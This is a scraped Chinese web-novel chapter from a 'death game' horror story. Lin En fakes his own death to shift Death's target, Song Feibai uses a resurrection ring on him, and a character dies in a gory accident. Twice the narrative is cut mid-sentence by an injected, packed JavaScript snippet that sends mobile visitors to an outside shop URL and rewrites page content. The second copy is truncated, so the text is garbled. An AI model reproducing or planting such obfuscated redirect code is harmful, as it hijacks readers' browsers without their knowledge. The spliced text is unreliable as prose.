宋飞白隔着单面玻璃,看见林恩走到房间的中央,那模样如同即将主动跳下悬崖的古早电视主角。 直到林恩浑身抽搐着倒下。 “咔嚓” 审讯室的门被推开。 宋飞白走了进来,他一步步靠近林恩。 这里不会有人来打扰,只有自己和林恩。 林恩强行将自己的死亡顺序提前到柳敦的死亡环境中。 而柳敦和卡特,这两人此时处于一种即将进入死亡顺序的流动性状态。 在把唐尼甩出门前,宋飞白也已经提示过唐尼,“保护好柳敦和卡特”,只要这两个人不死,死亡顺序就只能继续卡在林恩这。 也正因为这样,如果他们死了,审讯室内刻意营造出来的死亡环境没有了柳敦作为锚点,顺序又跳到卡特,这个环境就会被立刻打破,林恩会退出这个顺序,他设计的死亡也将变得毫无意义。 因为不在顺序内的死亡是不被死神允许的。 宋飞白看着软倒在地的林恩,蓬松的黑色卷发,挺立的鼻梁,薄薄的嘴唇,听说这是薄情的外化,但宋飞白半点没从林恩身上看出薄情。 宋飞白经历过太多任务世界,也见过无数任务者,如果那些人全都像林恩这样早不知死了多少回。 但林恩陷在死神游戏十年,他竟然还会去救人。 宋飞白停下这些杂乱的思考,视线再往下是林恩凹陷的莹白锁骨,或许也适合盛满月光。 宋飞白最终将视线停在林恩的手指,纤细修长又脆弱,前端因为电击而变得焦黑,谁也想不到这是可以将自己逼入死境的手。 而另一只手腕原本光洁的皮肤却从内向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446996|201108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外炸开一个手指粗细的伤口,鲜血正往外涌,那是电流窜过身体后又离开造成的。 宋飞白撕下沙发边缘的白布将伤口简单包扎。 接着宋飞白轻轻抬起林恩没有伤口的那只手,拿出自己早已被握在自己手心里的银色戒指。 繁复的暗纹爬满戒指,本该冰凉的银器此刻却染上宋飞白的体温。 这就是宋飞白兑换的道具,可以在恐怖世界原住民死后将其复活到现实世界。 宋飞白抻平林恩的手掌,白炽灯光透过掉落在地的水晶碎片,折射出绚丽的光落在戒指上。 他将戒指一寸寸戴入林恩的食指,恰恰好卡在最细的骨节处,仿佛生长出来的银色鳞片,戒指上两人的体温完成了交换。 这并不在林恩的计划里,但这是宋飞白从两人见面后就进行的谋划。 宋飞白用指腹摩挲着林恩手指和戒指相连接的皮肤,轻声问,“林恩,你是否已经做好来到我的世界的准备?” 林恩手指微微颤抖,无意识间若有似无地勾了下宋飞白的指尖。 这次不需要回答。 因为宋飞白知道,他只需要再等等,等林恩把死神游戏结束,救下自己想救的人后,林恩就会坦然面对因为身体衰败而造成的死亡。 宋飞白何必不和林恩一起实现这个愿望呢? 只要等任务提示音响起,宋飞白就能回到现实世界去见一个才刚来到他的世界的林恩。 或许那时的林恩会为自己的复活而欣喜,只是用不了多久,林恩就会发现这是一个完全陌生的世界,他没有身份信息,没有亲人朋友,唯一拥有的是一具从“家里”带来的躯体。 林恩可能会茫然无措,可能会束手无策,可是他能依靠谁呢? 只有宋飞白——这个已经建立合作友谊的对象,林恩甚至会感谢他,感谢这个赋予自己崭新的生命又将自己带进陌生世界的宋飞白。 宋飞白忽然觉出一种敲骨吸髓的痒,从骨缝里似乎有什么在游走,它啃咬着血肉,挑动着神经,一寸寸移动到宋飞白的手掌侧面。 那条陈旧的疤痕里仿佛生长出了一个怪物,它即将撕开皮肤钻出来。 再等等,宋飞白喉结滚动。 时间一分一秒过去,林恩的心跳越来越平缓,胸膛起伏也越来越小,只要将死去的林恩唤醒,宋飞白就能在不久后和自己未来相伴终生的对象在现实世界见面。 宋飞白在等,等按照约定将死亡的林恩唤醒。 可下一刻,宋飞白眼睁睁看着林恩忽然剧烈颤抖起来,他的胸膛剧烈起伏,猛地吸入一大口空气。 墙上的时钟再次走动,秒针一顿一顿地前进。 刚清醒的林恩视线内还一片模糊,大块大块的光圈在他眼前炸开,他的心脏因为重新获得空气而雀跃,脑子却冰凉。 有人在林恩耳边说话,似乎在喊他的名字。 可林恩只是直直地盯着半空,有什么从他的胸口涌向口腔,最终从嘴里滑出来, “柳敦死了。” 唐尼几人没有保护好她。 14. 死神游戏 距离啤酒瓶爆炸半小时前。 警局不知道什么时候着火了,走廊里气温比审讯室更高,目之所及红彤彤一片,尽头沸腾的火海正要朝这边吞没。 克莱尔梗着脖子抵在门上,滚烫的温度几乎要烧穿她的眉心。 她在看见柳敦老师被送出审讯室的那刻就明白了一切,林恩想代替柳敦成为这次死亡危机的目标。 克莱尔早已隐约察觉到死神对林恩近乎明目张胆的针对。 林恩并非飞机失事幸存者,却成为死神的第一个目标,除了桌面的干枯蜘蛛,还有只要靠近林恩就能感受到的令人背后生出冷汗的视线。 那些视线仿佛无处不在,轻柔却又流连地刮过皮肤。 那感觉过于恶心,克莱尔好几次都要忍不住呕吐,但仔细看去周围却没有一个可疑的人。 抓在门把手上的指节发白,因为过于用力指骨仿佛要挣出皮肤,她的手在颤抖。 克莱尔深深地呼吸,灼热的空气顺着喉管进入肺部,吐出来时如同带走她所有的软弱。 克莱尔缓缓放开门把手,转头看向因为被丢出门而暴怒的唐尼, “走吧。” 唐尼脸上的肌肉因为过于愤怒而抽动,他瞪着面前的铁门,生硬地反驳,“警局着火,林恩待在里面很危险。” 但真实原因是他不希望嫌疑人单独离开自己的视线。 更何况如果林恩所说的死神真的在审讯室里,连需要保护的柳敦都出来了,为什么林恩还要待在里面。 他不相信林恩,也不相信死神这种荒谬说法,至于突然炸开的喷头和因此暂时失去视觉的柳敦,那不过是意外。 意外? 唐尼呼吸一滞。 为什么偏偏是在这个等待死神的关键时刻发生意外?唐尼一直盯着林恩,他可以确信林恩没机会在喷头上动手脚。 十年前的连环车祸,造成泰莉死亡的事故,还有他仅仅十六岁的儿子却被葬入坟墓。 这些真的只是意外? 唐尼最近听到了太多意外,此刻竟然也有一瞬间觉得毛骨悚然。 他愤怒的情绪第一次出现空白,可又立刻被唐尼更加坚定地否定,不过是年久失修的喷头,怎么可能真有死神? 克莱尔看着眼前这个面色几变的警长,知道他终于动摇了。 “宋飞白不会放我们进去,守在这里没用,”克莱尔看向因为眼睛进了玻璃渣而暂时视力模糊的柳敦,“更何况,宋飞白不是说了吗,让我们保护好柳敦和卡特。” 克莱尔相信这也是林恩的意思。 前门已经出不去,几人扶着柳敦绕到后门逃到室外,此时他们才发现火势还在扩大,整个一楼大半都被火海笼罩,审讯室离得最远,目前还算安全。 留守警局的其余几个警员提着水桶和水管来回奔波灭火,累得满头大汗,但效果并不明显。 更糟糕的是万圣节人流量太大,每条路都在堵车,连消防车都被堵在来的路上。 卡特和比利两人则已经被佐伊及时带到室外,他们发现眼睛已经好转的柳敦,三个幸存者聚在一块,看见对方都差点哭出来。 即使站在安全的空地,艾利克斯却仿佛依旧被困在警局的走廊,空气渐渐变得稀缺,他忽然有些呼吸不过来,这种感觉在看见捂着嘴咳嗽的柳敦时达到顶峰。 柳敦眼眶通红,陪着蹲在角落的卡特,她轻声安抚着焦躁又恐惧的卡特,师生之间后天的纽带在此时此地竟会让两人更加亲近。 但艾利克斯看不见这种亲近,相反他仿佛和死神心灵相通,所有感官都被无限放大,连火焰灼烧后留下的黑色痕迹都一清二楚。 靠近警局的两棵树之间挂着一个用白布装扮成的鬼魂,它悬在空中,随着骤然变大的狂风舞动,作为眼睛在白布中间掏了两个洞,其中能隐隐约约看见白色鱼线。 那就是白布鬼魂飘在空中的秘密。 远处消防车的嗡鸣终于响起,但那并非得救的信号。 艾利克斯看见红色的消防车越来越近,在驶过棉布做的鬼魂时,鱼线仿佛被谁解开般滑落,接着艾利克斯眼睁睁看着鱼线的一头被卷进车轮,另一头却还系在树上,深深勒进树干里。 此刻,这根被拉扯到极致,细到看不见却宛如刀片的鱼线飞快靠近柳敦和卡特。 脑子里仿佛炸弹“嘭”地爆开,艾利克斯离得太远,只能惊惶地大喊, “趴下!” 克莱尔从离开审讯室就一直在警惕着,她紧紧跟在柳敦两人身边。 直到现在,即使克莱尔不知道发生了什么,她没有死亡预感,也没有过于常人的力量。 克莱尔只是下意识扑上去,要把柳敦和卡特按在草地上。 她死死抓住了卡特,却仿佛被无形的力量重重推了一把,克莱尔翻滚在地。 但柳敦,惯性让她如同被控制的提线木偶,从克莱尔手里被飞快拽走。克莱尔甚至来不及爬起来,只有余光看见唐尼和安德鲁也扑上去了。 两人同时抓住柳敦的手,下一刻却都被拖行得近乎悬空。 不过半米,那巨大的力量就将安德鲁和唐尼都甩飞出去。 “哧——” 消防车停下,克莱尔瞪大眼睛,远远看见柳敦如同一只被挂起的娃娃,裸露的脖子血肉搅成一团,在极深的伤口下能隐约看见白森森的脊椎骨。 柳敦不自然地垂着头,连呼救都来不及就没了呼吸。 鲜血从那根被卷进车轮的鱼线上滴滴嗒嗒地落进草地。 “啊啊啊啊啊啊!!” 克莱尔耳边又传来卡特撕心裂肺的惨叫。 飞过的鱼线也割伤了卡特,如果克莱尔没有及时扑倒他,卡特也会被鱼线割开喉咙。 克莱尔低下头,看见卡特抱着自己涌出大股血液的腿。 红色的肉被狠狠翻开,血腥味在空气中蔓延。 克莱尔张嘴呆呆地看,下一刻颤抖着转头看向审讯室,在那里,林恩的死而复生正到了关键时刻。 林恩直挺挺坐在地上,触电的后遗症在此刻完全显现,头痛得仿佛正被人劈开,喉咙里刀割般想吐些什么出来。 仿佛有什么在细致地翻搅他深藏的内脏,他恶心得想大声吼叫,用最恶毒的话语诅咒死神和破烂的自己,最好连系统也一起诅咒,把世界上每个人都挨个骂一遍。 该死的任务,该死的复活! 他就该死在自己简陋的出租屋里,何必再来经受这些折磨? 可林恩什么声音也没发出来,他只是捂住头,极缓极慢地弯下腰,他要把自己蜷缩起来,只为了缓解全身抽筋拔骨的疼痛。 林恩拼尽全力喘气,每一下都似乎要把自己抽空。 暴虐不甘的情绪在林恩脑中沸腾熬煮,咕咚咕咚地要将林恩熬干。 不知道过了多久,林恩终于能感受到背后有一只手顺着脊柱一下下抚摸。 凹陷,凸起,每一节脊骨都被或轻或重地按过。 林恩抬起头,他眼睛还是花的,眼前是模糊的重影,只有面前人的眼睛形状依旧锋利,眉头却紧皱,嘴角下撇,下颌骨两侧的肌肉绷紧。 背后的手指力度控制得并不好,连带有安慰性质的轻抚都没做到。 “宋……宋飞白?” 林恩不甘的情绪泡沫碎裂般消失,剧烈的头痛让林恩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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卡特的伤口已经被做了紧急处理,他躺在担架上,汗水打湿了衣服,安德鲁和比利死死按住他,以免卡特痛得翻滚起来造成二次伤害。 目睹刚刚还活生生的柳敦凄惨死去的佐伊呆呆坐在空地上,眼神里流露出的恐惧快要凝成实质, “是死神吗?死神真的来了?” 唐尼面色难看极了,他的右手不自然地垂下,分明已经脱臼,但他却把牙齿咬得死紧,整个人崩得像一块即将折断的钢。 他眼睁睁地看着一切如同多米诺骨牌般,仿佛幕后有一只看不见的手在推动,一块推倒另一块,最后发出轰然巨响。所有的事情被串联在一起,柳敦就这样凄惨地死在他眼前。 可唐尼甚至找不出一个直接的凶手。 唐尼朝身后使了个眼色,让同样面色惨白的警员把佐伊带下去休息,在即将走远时又补充道,“找一位心理医生。” 唐尼转过头,看见被宋飞白背着的林恩, 他嘴唇嗫嚅两下,终究没有靠近。 克莱尔也看见了手脚无力、狼狈的林恩,巨大的自责和懊悔几乎要冲垮她。 克莱尔走向林恩,她眼眶赤红,死死盯着地面,“……林恩,我没保护好柳敦老师,她就死在我面前……林恩,我、我……” 林恩被电击的后遗症还在,他用颤抖的手抚摸克莱尔的脸颊,“不是你的错。” 话音刚落, “咔嚓。” 林恩猛地回过头去,看见蹲守在警局外的记者。 尸体,痛哭声,拍照的记者……一切仿佛倒退回到十年前。